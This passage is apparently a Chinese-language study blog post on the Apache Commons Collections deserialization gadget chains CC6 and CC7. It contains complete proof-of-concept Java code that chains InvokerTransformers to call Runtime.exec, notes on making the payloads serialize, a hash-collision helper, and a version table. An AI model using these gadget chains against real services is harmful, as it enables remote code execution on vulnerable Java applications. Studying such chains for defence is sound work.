org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
无法序列化解决方法
直接这样写
ChainedTransformer chain=getChainedTransformer();
Map lazymap= LazyMap.decorate(new HashMap(),chain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,1);
HashSet hashSet=new HashSet();
hashSet.add(tiedMapEntry);
deserialize(serialize(hashSet));
会报错
因为序列化前会多put一遍,把java.lang.ProcessImpl也给序列化了,但是它是not serializable的。
debug就不赘述了,可以拜读文末phtihon的大作
加一句lazymap.remove(1);
即可
package learn;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollections6 extends tools.tool{
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
public static void main(String[] args) {
ChainedTransformer chain=getChainedTransformer();
Map lazymap= LazyMap.decorate(new HashMap(),chain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,1);
HashSet hashSet=new HashSet();
hashSet.add(tiedMapEntry);
// lazymap.remove(1);
deserialize(serialize(hashSet));
}
static ChainedTransformer getChainedTransformer(){
ConstantTransformer ct=new ConstantTransformer(Runtime.class);
InvokerTransformer it1=new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2=new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it_exec=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
ChainedTransformer chain=new ChainedTransformer(a);
return chain;
}
}
CommonsCollections7
这个链还是挺绕的
版本
jdk无限制
CommonsCollections 3.1 - 3.2.1
chain
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
先放POC
package learn;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.*;
public class CommonsCollections7 extends tools.tool{
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
public static void main(String[] args) {
ChainedTransformer chain=getChainedTransformer();
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map map1 = LazyMap.decorate(hashMap1, chain);
map1.put("00", 1);
Map map2 = LazyMap.decorate(hashMap2, chain);
map2.put(".n", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(map1, 1);
hashtable.put(map2, 1);
map2.remove("00");
deserialize(serialize(hashtable));
}
static ChainedTransformer getChainedTransformer(){
ConstantTransformer ct=new ConstantTransformer(Runtime.class);
InvokerTransformer it1=new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2=new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it_exec=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
ChainedTransformer chain=new ChainedTransformer(a);
return chain;
}
}
为什么要put两个lazymap
因为为了进reconstitutionPut for循环,tab需要不为空。tab其实就是hashtable,entry是单链,动调发现put两个的时候能让tab不为空
哈希碰撞
if这一行由于用&&连接,左边为false就不会执行右边。这两个hash对应当前key和上一个key的hashcode。
这里key我们选择的是String,观察String.hashCode()
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
爆破两位就可
package learn;
public class HashCollision {
static String dict="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r";
public static void main(String[] args) {
int len=dict.length();
for(int a1=0;a1<len;a1++){
for(int a2=0;a2<len;a2++){
for(int b1=0;b1<len;b1++){
for(int b2=0;b2<len;b2++){
if(a1!=b1&&a2!=b2){
String s1=get(a1)+get(a2);
String s2=get(b1)+get(b2);
if(s1.hashCode()==s2.hashCode()){
System.out.println(s1+"\n"+s2);
return;
}
}
}
}
}
}
System.out.println("fuck");
}
static String get(int i){
return String.valueOf(dict.charAt(i));
}
}
为什么map2.remove("00");
其实和上面的CommonsCollections6一样道理,hashtable.put(map2, 1);
这一行也会调用lazymap.get,从而多加了一个带着processImpl的元素,不能序列化。
利用版本总览
copied from https://blog.51cto.com/u_15127645/4535685
CommonsCollections Gadget Chains | CommonsCollection Version | JDK Version | Note |
---|---|---|---|
CommonsCollections1 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | |
CommonsCollections2 | CommonsCollections 4.0 | 暂无限制 | javassist |
CommonsCollections3 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | javassist |
CommonsCollections4 | CommonsCollections 4.0 | 暂无限制 | javassist |
CommonsCollections5 | CommonsCollections 3.1 - 3.2.1 | 1.8 8u76(实测8u181也可) | |
CommonsCollections6 | CommonsCollections 3.1 - 3.2.1 | 暂无限制 | |
CommonsCollections7 | CommonsCollections 3.1 - 3.2.1 | 暂无限制 |
完结撒花
陆陆续续写了一个星期,算是大功告成了。
其实,CommonsCollections链到后面都是重组+加一点新的类,所以其实最痛苦的还是刚开始不熟练的时候。
当然,我这里只是看着别人的链抄一抄,调一调bug,还没到真正挖链子的水平。但不管怎样,现在写java顺多了,虽然还是很菜,但至少不像以前毫无头绪。
参考
https://github.com/frohoff/ysoserial/
https://www.anquanke.com/post/id/261724#h2-11
https://blog.csdn.net/xd_2021/article/details/121962921
https://silente.top/archives/java-cc链1-学习/
https://blog.csdn.net/Happy_LH/article/details/111885275
https://www.anquanke.com/post/id/219840#h2-0
https://mp.weixin.qq.com/s/AjCngDFNE2wT9JvajMMxTA
https://blog.51cto.com/u_15127645/4535685